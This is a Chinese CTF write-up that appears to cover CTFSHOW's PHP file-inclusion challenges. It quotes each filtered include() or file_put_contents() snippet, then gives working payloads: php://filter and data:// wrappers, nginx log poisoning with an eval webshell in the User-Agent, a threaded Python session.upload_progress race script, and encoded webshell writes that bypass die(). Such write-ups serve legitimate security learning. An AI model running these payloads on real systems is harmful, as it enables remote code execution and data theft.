参考文章:
文件包含漏洞+php伪协议_文件包含漏洞伪协议利用-CSDN博客
CTFSHOW web入门 文件包含篇-CSDN博客
php死亡exit()绕过 - xiaolong's blog
利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
利用 php://filter
伪协议拿取即可
?file=php://filter/convert.base64-encode/resource=flag.php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这里是无视大小写的,就是说你用大小写是绕过不了的
data协议类似于php://input协议,用于控制输出流,当与包含函数结合时,data://流回被当作php文件执行。从而导致任意代码的执行。
当php被过滤时,就可以适当选择data协议
需满足allow_url_fopen
,allow_url_include
同时开启才能使用
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
注意这里的BASE64编码 最好不要用+结尾。(可以多加几个空格使得去掉编码后的加号)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了 php
data
这里采用日志包含
nginx
的默认日志在 /var/log/nginx/access.log
UA:<?php eval($_GET['cmd']);?>
?file=/../../../../../var/log/nginx/access.log&cmd=system('tac fl0g.php');
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤 php
data
:
日志包含即可
UA: <?php eval($_GET['a']);?>
?file=../../../../../var/log/nginx/access.log&a=system('tac fl0g.php');
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
题目把 .
也给过滤了。使得我们无法进行目录穿越实现日志包含了
这里考点是 seesion包含
其中涉及到条件竞争
参考文章 https://www.freebuf.com/vuls/202819.html
这里直接利用羽师傅的脚本梭哈
# 原理 https://www.freebuf.com/vuls/202819.html
import requests
import threading
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
session=requests.session()
sess='yu22x'
url1="http://48faee2d-f20d-48ad-9d79-8e73e09f6958.challenge.ctf.show/"
url2='http://48faee2d-f20d-48ad-9d79-8e73e09f6958.challenge.ctf.show/?file=/tmp/sess_'+sess
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
'1':'system("cat f*");'
}
file={
'file':'abc'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies,verify=False)
def read():
while True:
r = session.post(url2,data=data2,verify=False)
if 'ctfshow{' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
这里利用的函数是 file_put_contents
这个函数允许我们将数据写入指定的文件
格式是 file_put_contents(文件名, 数据)
但是这里给了一个拼接字符串 <?php die('大佬别秀了');?>
,这个会导致我们传入的数据被 die
掉,使得直接退出
关键就在于如何绕过 die();
首先我们需要写入文件
利用 php://filter/write
指定以 base64-decode
写入文件 a.php
:输入的内容就会被base64解码
php://filter/write=convert.base64-decode/resource=a.php
两次url编码后:
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%31%25%32%45%25%37%30%25%36%38%25%37%30
由于这里有过滤php
等字符,所以需要url完整编码,即所有字符都要进行编码
base64编码绕过 die();
<?php die('大佬别秀了');?>
是拼接在我们的传入 $content
参数前面的,而我们指定了传入base64编码的参数。所以这里 <?php die('大佬别秀了');?>
也会被base64编码掉,这样就可以绕过die()
注意: base64是以4个字符为一组的。所以必须为4的倍数, 对于 <?php die('大佬别秀了');?>
而言,里面可以被识别的只有 phpdie
6个数,所以我们需要为其添加两个字符保证其是4的倍数
对 <?php eval($_POST['a']);?>
进行base64编码
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
然后前面加上两个a 使得最后传入的base64数据参数满足4的倍数
payload
aaPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
a.php
实际接受到的数据
base64decode(phpdieaaPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=)
最后的完整payload
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%31%25%32%45%25%37%30%25%36%38%25%37%30
content=aaPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
这里需要不断进行构造,直到最后的payload没有被过滤的内容
base64encode <?php system('tac fl0g.php'); ?>
?file=data://text/plain;base64,PD9waHAgICBzeXN0ZW0oJ3RhYyBmbDBnLnBocCcpOyAgPz4g
打开是个视频
下载下来看看 用binwalk 分离出其中的东西
过滤很简单
?file=flag.php
然后下载视频打开获取flag
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
这里过滤了很多种协议和编码,如我们常用的 base64
与 rot13
等等
这里我们可以用其他的编码进行绕过 更多编码看这里
这里使用 UCS-2LE -> UCS-2BE
进行绕过
UCS-2LE -> UCS-2BE
就是把小端编码转换成大端编码。 所以会交换相邻两个字符的位置,这样就可以绕过 die()
注意:因为是交换相邻字符串。这里的一定要是偶数位,不然会报错(奇数最后一个字符会被忽略)
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[Ta']';)>?
其中 contents
的内容可以通过 iconv
命令生成
echo -n "<?php eval(\$_POST['a']);?>" | iconv -f UCS-2LE -t UCS-2BE
输出: ?<hp pvela$(P_SO[Ta']';)>?